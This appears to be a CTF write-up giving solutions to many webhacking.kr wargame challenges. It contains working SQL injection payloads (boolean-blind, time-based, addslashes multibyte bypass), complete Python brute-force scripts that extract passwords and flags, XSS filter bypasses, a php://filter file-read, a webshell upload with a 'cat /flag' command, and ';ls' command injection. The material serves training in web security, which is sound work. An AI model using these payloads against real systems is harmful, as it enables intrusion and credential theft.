# Challenge 01

From the source code, we can see that if we set the cookie between 5 and 6, we can sovle it.

We set it to 5.5, and solve the challenge.

# Challenge 02

In the page admin.php

There is a cookie called time, it will give us different result in the source code with different value. If the value is true, it will give us 2070-01-01 09:00:01, and 2070-01-01 09:00:00 for false.

It is a Cookie-based SQL injection, we can see if our command is true or false to find out the password of admin.php.

First, we try to find the length of name of the database

And later, we can use substr to find the name of the database. After that, we try to get the length of name of the table, and find the name of the table. Do the same thing with column, and find out its value.

I write a python script and found the database “chall2”, table “admin_area_pw”, column “pw”, and value “kudos_to_beistlab”.

After typing the password to admin.php, we solve the challenge.

  1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101  import requests import string """ database_length = 6 database_name = "chall2" table_length = 13 table_name = "admin_area_pw" column_length = 2 column_name = "pw" password_length = 17 password = "kudos_to_beistlab" """ database_length = 0 # Check length of database name for i in range(1, 20): my_cookies = dict(time='LENGTH((SELECT DATABASE())) = {}'.format(i)) r = requests.get("https://webhacking.kr/challenge/web-02/", cookies = my_cookies) if "2070-01-01 09:00:01" in r.content: print("Length of database name is {}".format(i)) database_length = i break database_name = "" # Get database name for i in range(1, database_length + 1): for ch in string.ascii_lowercase + string.digits: my_cookies = dict(time='SUBSTR((SELECT DATABASE()), {}, 1) = "{}"'.format(i, ch)) r = requests.get("https://webhacking.kr/challenge/web-02/", cookies = my_cookies) if "2070-01-01 09:00:01" in r.content: database_name += ch print("Database Name: {}".format(database_name)) break print("Final Database Name: {}".format(database_name)) table_length = 0 # Check length of table name for i in range(1, 20): my_cookies = dict(time='LENGTH((SELECT TABLE_NAME FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_SCHEMA="{}" LIMIT 0,1)) = {}'.format(database_name, i)) r = requests.get("https://webhacking.kr/challenge/web-02/", cookies = my_cookies) if "2070-01-01 09:00:01" in r.content: print("Length of table name is {}".format(i)) table_length = i break table_name = "" # Get table name for i in range(1, table_length + 1): for ch in string.ascii_lowercase + string.digits + "_": my_cookies = dict(time='SUBSTR((SELECT TABLE_NAME FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_SCHEMA="{}" LIMIT 0,1), {}, 1) = "{}"'.format(database_name, i, ch)) r = requests.get("https://webhacking.kr/challenge/web-02/", cookies = my_cookies) if "2070-01-01 09:00:01" in r.content: table_name += ch print("Table Name: {}".format(table_name)) break print("Final Table Name: {}".format(table_name)) column_length = 0 # Check length of column name for i in range(1, 20): my_cookies = dict(time='LENGTH((SELECT COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME="{}" LIMIT 0,1)) = {}'.format(table_name, i)) r = requests.get("https://webhacking.kr/challenge/web-02/", cookies = my_cookies) if "2070-01-01 09:00:01" in r.content: print("Length of column name is {}".format(i)) column_length = i break column_name = "" # Get column name for i in range(1, column_length + 1): for ch in string.ascii_lowercase + string.digits + "_": my_cookies = dict(time='SUBSTR((SELECT COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME="{}" LIMIT 0,1), {}, 1) = "{}"'.format(table_name, i, ch)) r = requests.get("https://webhacking.kr/challenge/web-02/", cookies = my_cookies) if "2070-01-01 09:00:01" in r.content: column_name += ch print("Column Name: {}".format(column_name)) break print("Final Column Name: {}".format(column_name)) password_length = 0 # Check length of password for i in range(1, 20): my_cookies = dict(time='LENGTH((SELECT {} FROM {} LIMIT 0,1)) = {}'.format(column_name, table_name, i)) r = requests.get("https://webhacking.kr/challenge/web-02/", cookies = my_cookies) if "2070-01-01 09:00:01" in r.content: print("Length of password is {}".format(i)) password_length = i break password = "" # Get password for i in range(1, password_length + 1): for ch in string.ascii_lowercase + string.digits + "_": my_cookies = dict(time='SUBSTR((SELECT {} FROM {} LIMIT 0,1), {}, 1) = "{}"'.format(column_name, table_name, i, ch)) r = requests.get("https://webhacking.kr/challenge/web-02/", cookies = my_cookies) if "2070-01-01 09:00:01" in r.content: password += ch print("Password: {}".format(password)) break print("Final Passowrd: {}".format(password)) 

# Challenge 03

We can solve the Nonogram.

And we get the following page.

We try to trigger sqli with name=answer value=1' or '1'='1, and we accidently solve the challenge.

# Challenge 04

We can create a table contains all hashes from 10000000 to 100000000, and find the hash in the table.

 1 2 3 4 5 6 7 8 9   

# Challenge 05

I try to access https://webhacking.kr/challenge/web-05/mem/join.php, and it worked.

After translation, we can see that we need to add cookie oldzombie=1, and access https://webhacking.kr/challenge/web-05/mem/join.php?mode=1 to get a sign up form.

We have to login as admin to pass the challenge, so we create our id with [space] + admin, and we can login as admin.

# Challenge 06

From the source code, we can see that it takes the value from cookie, do str_replace, and do 20 times base64 decode. If the decode id is admin, and decode pw is nimda, we win this challenge.

Very straight forward, we just need to reverse the whole process and put the encoded value in cookies, and we are done.

  1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31   

# Challenge 07

If there is 2 in our result, we can solve the challenge.

I focus on exploiting this page when rand=1, which means I got 20% chance to succeed.

I access https://webhacking.kr/challenge/web-07/index.php?val=0)UNION(select(char(50)), so that the sql query will be select lv from chall7 where lv=(0)UNION(select(char(50))), and the challenge is solved when rand=1.

# Challenge 08

With Burp Suite, we change user agent to User-Agent: a','1','admin')#, so that the query agent=a, ip=1, id=admin will be added.

Later, we create another request with User-Agent: a, and we solve the challenge.

# Challenge 09

We can use if, length, and substr to find id of no 3. However, =,>,<,%,ascii are blocked, so we need to use in or like.

I write a script to find the password.

  1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25  import requests import string #password_length = 11 #password = "alsrkswhaql" password_length = 0 for i in range(1, 25): s = 'no=if(LENGTH(id)in({}),3,0)'.format(i) r = requests.get('https://webhacking.kr/challenge/web-09/', params = s) if "Secret" in r.content: password_length = i print("Password Length: {}".format(i)) break password = "" for i in range(1, password_length + 1): for ch in string.printable: s = 'no=if(SUBSTR(id,{},1)in({}),3,0)'.format(i, hex(ord(ch))) r = requests.get('https://webhacking.kr/challenge/web-09/', params = s) if "Secret" in r.content: password += ch print("Password: {}".format(password)) break print("Final Password: {}".format(password)) 

And we can get the password alsrkswhaql.

# Challenge 10

Modify left to 1599px, click once, and we can solve the challenge.

# Challenge 11

In this one, we need to match the regular expression.

Access https://webhacking.kr/challenge/code-2/?val=1aaaaa_1.[my ip]%09p%09a%09s%09s, and we solve the challenge.

# Challenge 12

Javascript is encoded in Japanese style emotion, we can use aadecoder to decode the script. And get

  1 2 3 4 5 6 7 8 9 10 11 12 13  var enco=''; var enco2=126; var enco3=33; var ck=document.URL.substr(document.URL.indexOf('=')); for(i=1;i<122;i++){ enco=enco+String.fromCharCode(i,0); } function enco_(x){ return enco.charCodeAt(x); } if(ck=="="+String.fromCharCode(enco_(240))+String.fromCharCode(enco_(220))+String.fromCharCode(enco_(232))+String.fromCharCode(enco_(192))+String.fromCharCode(enco_(226))+String.fromCharCode(enco_(200))+String.fromCharCode(enco_(204))+String.fromCharCode(enco_(222-2))+String.fromCharCode(enco_(198))+"~~~~~~"+String.fromCharCode(enco2)+String.fromCharCode(enco3)){ location.href="./"+ck.replace("=","")+".php"; } 

We can use the following script to see what ck is.

  1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17  var enco=''; var enco2=126; var enco3=33; var url='https://webhacking.kr/challenge/code-3/'; var ck=url.substr(url.indexOf('=')); for(i=1;i<122;i++){ enco=enco+String.fromCharCode(i,0); } function enco_(x){ return enco.charCodeAt(x); } var s="="+String.fromCharCode(enco_(240))+String.fromCharCode(enco_(220))+String.fromCharCode(enco_(232))+String.fromCharCode(enco_(192))+String.fromCharCode(enco_(226))+String.fromCharCode(enco_(200))+String.fromCharCode(enco_(204))+String.fromCharCode(enco_(222-2))+String.fromCharCode(enco_(198))+"~~~~~~"+String.fromCharCode(enco2)+String.fromCharCode(enco3); s = s.replace("=","")+".php"; console.log(s); 

We can get the url https://webhacking.kr/challenge/code-3/youaregod~~~~~~~!.php, and the challenge is solved.

Unsolved.

# Challenge 14

It counts the index of “.kr” in url, and multiply with 30. If our input matches, it will multiply with our input and redirect.

Index of “.kr” is 18, 18 * 30 = 540, 540 * 540 = 291600, so if we access https://webhacking.kr/challenge/js-1/?291600, we solve the challenge.

# Challenge 15

When we access https://webhacking.kr/challenge/js-2/?getFlag, we solve the challenge.

# Challenge 16

When cd = 124, it will do href. We can do it manually with https://webhacking.kr/challenge/js-3/%7c.php, and we solve the challenge.

# Challenge 17

Unlock will be 7809297.1, so we just need to access https://webhacking.kr/challenge/js-4/?780929.71, and we solve the challenge.

# Challenge 18

By testing, we know that id of guest is 1.

We can use https://webhacking.kr/challenge/web-32/index.php?no=3%09or%09no=2 to make the statement select id from chall18 where id='guest' and no=3 or no=2, the first part will become false, turns to false or no=2, and it will be no=2. In the end, the statement will be select id from chall18 where no=2. Since space is being filtered, we can use %09, which is tab, instead.

# Challenge 19

We can access https://webhacking.kr/challenge/js-6/?id=ad%00min to solve the challenge.

# Challenge 20

We need to submit the correct captcha in 2 seconds. We can put the javascript in the console, press refresh, and execute the script immediately. Then we can pass the challenge.

 1 2 3 4  lv5frm.id.value='L3o' lv5frm.cmt.value='let me pass' lv5frm.captcha.value=lv5frm.captcha_.value lv5frm.submit() 

Unsolved.

# Challenge 22

First, we use join to create an account with username abc and password abc.

After we login, we can see

We try to login with username admin and nothing on password, and we get Login Fail!, but if we login with username admin'&& 1=1# and nothing on password, we get Wrong password!.

We can use this to find out the password. I write a python script to check for the length of the password with username admin'&&LENGTH(pw)=1#, if we get Wrong password!, then the query is true.

After that, we use admin'&&SUBSTR(pw, 0, 1) = "a"# to find out the value of the password.

  1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29  import requests import string """ password_length = 32 password = "6c9ca386a903921d7fa230ffa0ffc153" """ password_length = 0 # Check length of password for i in range(1, 50): my_data = {'uuid': 'admin\'&&LENGTH(pw)={}#'.format(i)} r = requests.post("https://webhacking.kr/challenge/bonus-2/", data = my_data) if "Wrong password!" in r.content: print("Length of Password is {}".format(i)) password_length = i break password = "" # Get password for i in range(1, password_length + 1): for ch in string.ascii_lowercase + string.digits: my_data = {'uuid': 'admin\'&&SUBSTR(pw, {}, 1) = "{}"#'.format(i, ch)} r = requests.post("https://webhacking.kr/challenge/bonus-2/", data = my_data) if "Wrong password!" in r.content: password += ch print("Password: {}".format(password)) break print("Final Password: {}".format(password)) 

Finally, we get a hash value of the password 6c9ca386a903921d7fa230ffa0ffc153. If we decrypt 17becc424ea0fbf966f527d24635d4fa, which is the hash we get with password abc, we get abcapple. When we decrypt 6c9ca386a903921d7fa230ffa0ffc153, we get wowapple, so the password should be wow, and we can solve the challenge.

# Challenge 23

It does a lot of filtering, but I found that by putting %00 between characters, we can pass the challenge. That is https://webhacking.kr/challenge/bonus-3/index.php?code=%3Cs%00c%00r%00i%00p%00t%00%3Ea%00l%00e%00r%00t(1); %3C/s%00c%00r%00i%00p%00t%3E

# Challenge 24

Since it extract($_COOKIE), we can put$REMOTE_ADDR in the cookie. By setting $REMOTE_ADDR = 112277...00...00...1 as cookie, we can pass the filtering and get $REMOTE_ADDR = 127.0.0.1.

# Challenge 25

URL is http://webhacking.kr:10001/?file=hello, but if we access http://webhacking.kr:10001/?file=flag, we got FLAG is in the code, if we access http://webhacking.kr:10001/?file=index, we see nothing. It seems like it prints out the output of the file.

We can use http://webhacking.kr:10001/?file=php://filter/convert.base64-encode/resource=flag to get the content of flag.php encoded in base64, when we decode it, we can see the flag.

 1 2 3 4   

# Challenge 26

In this challenge, we need encode the message twice, so we can pass the filter and make id=admin.

 1 2 3 4 5 6 7 8 9  s = "admin" encode1 = "" encode2 = "" for ch in s: encode1 += "%" + hex(ord(ch))[2:] for ch in encode1: encode2 += "%" + hex(ord(ch))[2:] print(encode2) 

And we can get our twice encoded message %25%36%31%25%36%34%25%36%64%25%36%39%25%36%65, post it as id https://webhacking.kr/challenge/web-11/?id=%25%36%31%25%36%34%25%36%64%25%36%39%25%36%65, and we pass the challenge.

# Challenge 27

By testing, we can know that the no of guest is 1.

We can access https://webhacking.kr/challenge/web-12/index.php?no=2)%09or%09id%09like%09%27admin%27%09--%09 to solve the problem because =, #, and blank are filtered out. We make the sql command to select id from chall27 where id='guest' and no=(2) or id like 'admin' -- or die("query error");, the final command will be select id from chall27 where id like 'admin', and we solve the challenge.

# Challenge 28

If we access flag.php directly, we see nothing.

For this challenge, we need to upload .htaccess contains php_flag engine off. By doing this, it will not execute .php file but show its content.

After uploading, access flag.php again.

And we can get the flag.

Unsolved.

Unsolved.

# Challenge 31

It creates connection to random ports in range 10000 to 10100. We just need to do port forwarding and listen on that port, we can solve it.

# Challenge 32

When we click the name, it will add 1, and we got a cookie vote_check = ok. We need to delete it to vote again.

We can see that my name has 0 vote at the bottom. We use a python script to vote for 100 times.

 1 2 3 4 5 6  import requests my_cookie = dict(PHPSESSID='vf3vgk5pnjrlb5opd97r5u7cta') for i in range(100): r = requests.get('https://webhacking.kr/challenge/code-5/?hit=L3o', cookies = my_cookie) 

And we solve the challenge.

# Challenge 33

There are 10 small challenges, and each one looks like this. We have to pass each challenge by reading source code.

Use get method https://webhacking.kr/challenge/bonus-6?get=hehe

Paste a post form in HTML, and press submit.

 1 2 3 4 5  
POST1: POST2: 

Use get method with own ip https://webhacking.kr/challenge/bonus-6/33.php?myip=[my ip]

It puts time() on the webpage. We just need to do md5 encoding md5 -s 1575907840 and send it as password https://webhacking.kr/challenge/bonus-6/l4.php?password=dac6ecbe7ca8f5672f08c6698f34f882

First, we add cookie imcookie=1 and create a form to do post to a page with get parameter. Press submit.

 1 2 3 4  
POST: 

Put cookie test = md5(ip address), put the form with value of md5(user agent), and submit.

 1 2 3 4  
POST: 

Get rid of . from my ip, and put it in get method.

By running the php script, we can get https://webhacking.kr/challenge/bonus-6/nextt.php?ans=acegikmoqsuwy.

 1 2 3 4 5 6   

By running the php script, we can get https://webhacking.kr/challenge/bonus-6/answerip/26753767535_5350753507.php.

  1 2 3 4 5 6 7 8 9 10   

# Challenge 34

When we open the page, we get alert “debug me” and the source code above. We use jsnice.org to give the code a better look, and there is one segment catching my attention.

 1 2 3 4 5  if (location[b("0x19", "iUmC")][b("0x1a", "6]r1")](1) == b("0x1b", "RLUb")) { location[b("0x1c", "4c%d")] = b("0x1d", "llaF"); } else { alert(b("0x1e", "14cN")); } 

Typing alert(b("0x1e", "14cN")); in the console, and we get alert “debug me”.
Typing location[b("0x1c", "4c%d")], and we can get “https://webhacking.kr/challenge/js-7/".
Typing b("0x1d", "llaF"), and we can get “./?Passw0RRdd=1”.

If we access https://webhacking.kr/challenge/js-7/?Passw0RRdd=1, we can solve the challenge.

What we need is to access https://webhacking.kr/challenge/web-17/index.php?phone=1),(%27admin%27,%27[my ip]%27,2&id=guest, so that insert into chall35(id,ip,phone) values('{$_GET['id']}','{$_SERVER['REMOTE_ADDR']}',{$_GET['phone']}) will become insert into chall35(id,ip,phone) values('guest','[my ip]',1),('admin','[my ip]',2), and we solve the challenge. # Challenge 36 We can find the swap file in https://webhacking.kr/challenge/bonus-8/.index.php.swp, and we can get the flag. # Challenge 37 Unsolved. # Challenge 38 And there is a webpage https://webhacking.kr/challenge/bonus-9/admin.php We need to have 1.163.65.118:admin put in the log, but we cannot input admin directly in the box, we will be denied. I tried \n1.163.65.118:admin, but it does not work. \n will be translate as string. So, we can change <input type=text name=id size=20> to <textarea type=text name=id size=20>, and we have multi-line to type our inputs, we type  1 2  abc 1.163.65.118:admin  And we are admin and solve the challenge. # Challenge 39 If we take a closer look, we can see that we end up having a 1 single quote at the end of query, we need another single quote, but it will replace 1 with 2. To solve this problem, we only need to submit “admin” with 9 blanks and a single quote  1  admin '  because we put single quote at the 15th character, even if it will be replace with 2, 1 got truncated with substr, and we solve the challenge. # Challenge 40 or,and,%20,ascii are blocked, and ||,& are fine. If we access https://webhacking.kr/challenge/web-29/?no=0||id=0x61646d696e&id=guest&pw=guest, we can see a login page for admin. We can write a python script to find the length of the password and its content using LENGTH and SUBSTR.   1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23  import string import requests #password_length = 10 #password = "lck_admin" => "luck_admin" password_length = 0 for i in range(1, 20): r = requests.get('https://webhacking.kr/challenge/web-29/?no=0||LENGTH(pw)={}&id=guest&pw=guest'.format(i)) if "admin password" in r.content: print("Password Length: {}".format(i)) password_length = i break password = "" for i in range(1, password_length + 1): for ch in string.printable: r = requests.get('https://webhacking.kr/challenge/web-29/?no=0||SUBSTR(pw,{},1)={}&id=guest&pw=guest'.format(i, hex(ord(ch)))) if "admin password" in r.content: password += ch print("Password: {}".format(password)) break print("Final Password: {}".format(password))  We will get lck_admin as our password, but we can see that we have lost one character, which is u. That is because when we request for https://webhacking.kr/challenge/web-29/?no=0||SUBSTR(pw,2,1)=0x75&id=guest&pw=guest, it will show us Success - guest instead of the admin login page. The second character of both the admin’s password and guest’s password are the same. So the real password is luck_admin. # Challenge 41 Unsolved. # Challenge 42 dGVzdC50eHQ= is base64 encode of test.txt, so we execute echo -n "flag.docx" | base64, and access https://webhacking.kr/challenge/web-20/?down=ZmxhZy5kb2N4 to download the flag, and the challenge is solved. # Challenge 43 If we upload the webshell directly, there is a warning “Wrong type”. We need to use Burp Suite to modify the type of the file from “text/php” to “text”.  1    Access http://webhacking.kr:10004/upload/webshell.php/?cmd=cat%20/flag, and we can get the flag. # Challenge 44 From the hint, we know that we need to execute ls. We can only type 5 characters for payload because of $id = substr($id,0,5);. We can use ';ls' as payload, and it will execute echo 'hello! ';ls''. By accessing http://webhacking.kr:10005/flag_29cbb98dafb4e471117fec409148e9386753569e, we can get the flag FLAG{y2u.be/sW3RT0tF020}. By the way, the song in the flag is really nice XDD # Challenge 45 First, %27, which is a single quote, will be in trouble with addslashes(). What we can do is to add %aa in front of it because %aa\ can be treated as a multi-byte single character, and %27 can be kept. If we access https://webhacking.kr/challenge/web-22/?id=%aa' or id like 0x61646d696e%23&pw=a, we can solve the challenge because the query select id from chall45 where id='{$_GET['id']}' and pw=md5('{$_GET['pw']}') will become select id from chall45 where id='%aa\' or id like 0x61646d696e%23' and pw=md5('a'), which is select id from chall45 where id='%aa\' or id like 0x61646d696e. We get the result with id=admin. # Challenge 46 We can access https://webhacking.kr/challenge/web-23/?lv=0%09OR%09id=char(97,100,109,105,110), so the sql query will become select id,cash from chall46 where lv=0 OR id=char(97,100,109,105,110). We can simplify this with select id,cash from chall46 where id='admin', and we solve the challenge. # Challenge 47 We need to access the content of the email. First, we change <input type="text" name="subject" size="50" value="Flag of webhacking.kr old-47 chall" maxlength="50"> into <textarea type="text" name="subject" size="50" value="Flag of webhacking.kr old-47 chall" maxlength="50"></textarea>, and type  1 2  abc Cc: [your email address]  And we can have get the email because it will cc to us. # Challenge 48 We can upload any file, access it, and delete it. We upload a file called ;ls, and when we delete it, it will trigger rm ;ls, and we can get the flag FLAG{i_think_this_chall_is_cool}. # Challenge 49 We can access https://webhacking.kr/challenge/web-24/?lv=0||id=0x61646d696e to solve the challenge. # Challenge 50 We can access https://webhacking.kr/challenge/web-25/?id=%aa%27/*&pw=*/%09union%09select%093%23 to solve the challenge. First, %27, which is a single quote, will be in trouble with addslashes(). What we can do is to add %aa in front of it because %aa\ can be treat as a multi-byte single character, and %27 can be kept. The whole query is select lv from chall50 where id='{$_GET['id']}' and pw=md5('{$_GET['pw']}'), and it will become select lv from chall50 where id='%aa'/*' and pw=md5('*/%09union%09select%093%23'), which is select lv from chall50 where id='%aa\'%09union%09select%093, and we can solve the challenge. # Challenge 51 It uses raw hash, so we can use either 129581926211651571912466741651878684928 or ffifdyop as our password. The sql command will be select id from chall51 where id='admin' and pw='T0Do#'or'8' or select id from chall51 where id='admin' and pw=''or'6]!r,b. # Challenge 52 Unsolved. # Challenge 53 We can access https://webhacking.kr/challenge/web-28/?val=1%20procedure%20analyse(), and we can get the output webhacking.chall53_755fdeb36d873dfdeb2b34487d50a805.a, which is the database, table, and column. Access https://webhacking.kr/challenge/web-28/?answer=chall53_755fdeb36d873dfdeb2b34487d50a805, and we solve the challenge. # Challenge 54 The flag will show on the screen one character followed by another. All of a sudden, it finished, and only left a question mark. By changing = into +=, we can see the whole flag printed on the screen.  1 2 3 4 5 6 7 8 9  function answer(i){ x.open('GET','?m='+i,false); x.send(null); aview.innerHTML+=x.responseText; i++; if(x.responseText) setTimeout("answer("+i+")",20); if(x.responseText=="") aview.innerHTML+="?"; } setTimeout("answer(0)",1000);  We can get the flag FLAG{a7981201c48d0ece288afd01ca43c55b}. # Challenge 55 If we access https://webhacking.kr/challenge/web-31/rank.php We access https://webhacking.kr/challenge/web-31/rank.php?score=2147483647%20limit%202,1%20procedure%20analyse(), and we can get id : webhacking.chall55.p4ssw0rd_1123581321, and it contains the column name to store the flag p4ssw0rd_1123581321. We can get our flag with bruteforce. substr is blocked, so we need to use another way, which is left function. If we access https://webhacking.kr/challenge/web-31/rank.php?score=1, we can get id : Milka // 1, and if we access https://webhacking.kr/challenge/web-31/rank.php?score=1%20and%20left(p4ssw0rd_1123581321,1)%20like%200x46, we can get id : Milka // 1 as well. We got the idea that the first character of the flag is F, which we have already known. I write a script to collect other characters in the flag.   1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18  import requests import string l = string.ascii_lowercase + string.digits + "}!_?" flag = 'FLAG{' ascii_flag = '464c41477b' while flag[-1] != '}': print("Current Flag: " + flag) for ch in l: tmp = ascii_flag + hex(ord(ch))[2:] r = requests.get('https://webhacking.kr/challenge/web-31/rank.php?score=1%20and%20left(p4ssw0rd_1123581321,{length})%20like%200x{payload}'.format(length=len(flag)+1, payload=tmp)) if 'Milka' in r.content: flag += ch ascii_flag = tmp break print("Final Flag: " + flag)  Finally, we can get the flag FLAG{easy_peasy_lemon_squeezy!}. # Challenge 56 For search, it will show if the content is in these two files. Since the second file contains hello~, if I type h or l, it will show up. But if we try hl, it won’t. So first, we can see what characters contained in the target file.   1 2 3 4 5 6 7 8 9 10  import requests import string ch_list = [] for ch in string.lowercase: my_data = {'search': ch} r = requests.post('https://webhacking.kr/challenge/web-33/index.php', data=my_data); if 'admin' in r.content: ch_list.append(ch) print(ch_list)  We can get ch_list = ['a', 'c', 'd', 'e', 'f', 'g', 'h', 'i', 'k', 'l', 'm', 'n', 'o', 's', 't', 'u', 'y']. Later, we use another script to test their combinations.   1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25  import requests import string ch_list = ['a', 'c', 'd', 'e', 'f', 'g', 'h', 'i', 'k', 'l', 'm', 'n', 'o', 's', 't', 'u', 'y'] flag = "FLAG{" loop = 0 while True: check = 0 for ch in ch_list: tmp = flag + ch my_data = {'search': tmp} r = requests.post('https://webhacking.kr/challenge/web-33/index.php', data=my_data); if 'admin' in r.content: flag += ch loop = 0 print(flag) if loop == 1: flag += "_" elif loop == 2: break loop += 1 flag = flag[:-1] + "}" print("Final FLAG: " + flag)  The output is FLAG{himiko_toga_is_cute_dont_you_think_so}, but it seems there should be a question mark at the end FLAG{himiko_toga_is_cute_dont_you_think_so?} # Challenge 57 It uses GET method We can write a script using if and sleep in mysql to determine the length of pw, and we use substr to find out its content.   1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36  import time import requests import string #password_length = 24 #password = "FLAG{y2u.be/kmPgjr0EL64}" password_length = 0 # Get password length for i in range(1, 50): my_params = {'msg': 'a', 'se': 'if(LENGTH(pw)={},sleep(5.0),1)'.format(i)} time1 = time.time() r = requests.get('https://webhacking.kr/challenge/web-34/index.php', params = my_params) if "Done" in r.content: time2 = time.time() if time2 - time1 >= 5: password_length = i print("Length of password: {}".format(i)) break password = "" for i in range(1, password_length + 1): for ch in string.ascii_uppercase + "{}._/" + string.ascii_lowercase + string.digits: my_params = {'msg': 'a', 'se': 'if(ASCII(SUBSTR(pw,{},1))={},sleep(5.0),1)'.format(i, ord(ch))} time1 = time.time() r = requests.get('https://webhacking.kr/challenge/web-34/index.php', params = my_params) if "Done" in r.content: time2 = time.time() if time2 - time1 >= 5: password += ch print("Password: {}".format(password)) break print("Final Password: {}".format(password))  And we can get the flag FLAG{y2u.be/kmPgjr0EL64}, which is a nice song as well. # Challenge 58 We have a console, and we can type ls to retrieve output. If we type flag, it says only admin can use this command. Open Burp Suite, we can see that we sent 42["cmd","guest:flag"] in our request, change it to 42["cmd","admin:flag"], and we solve the challenge. # Challenge 59 To join, it uses addslashes(), strlen and preg_match() to do filtering. We can join with id=nimda and phone=1,reverse(id)),(1,1, and the sql query insert into chall59 values('{$_POST['id']}',{$_POST['phone']},'guest') will become insert into chall59 values('nimda',1,reverse(id)),(1,1,'guest'), which is insert into chall59 values('nimda',1,'admin'),(1,1,'guest'). We login with lid=nimda and lphone=1, and we solve the challenge. # Challenge 60 This one is complicated. It writes $_SESSION['idx'] to ./readme/{$_SESSION['idx']}.txt, sleep(1), and unlink the file. If we provide mode=auth and $_SESSION['idx'] in ./readme/{\$_SESSION['idx']}.txt, we can solve the challenge.

That is, we need to access the file while sleep(1) is executed. I open one normal tab and one incognito tab, and change both PHPSESSID in cookie to numeric to bypass filtering. Set them to different value because if it is the same value, the second request will not start until the first request finished. The first one access the URL without auth, and the second one access it with auth, and we can solve the challenge.

# Challenge 61

We can use alias to solve this challenge.

It uses addslashes() and preg_match() to filter our input, so we cannot simply access https://webhacking.kr/challenge/web-38/?id=admin%20id, we need to use hex representation.

If we access https://webhacking.kr/challenge/web-38/?id=0x61646d696e%20id, we can solve the challenge.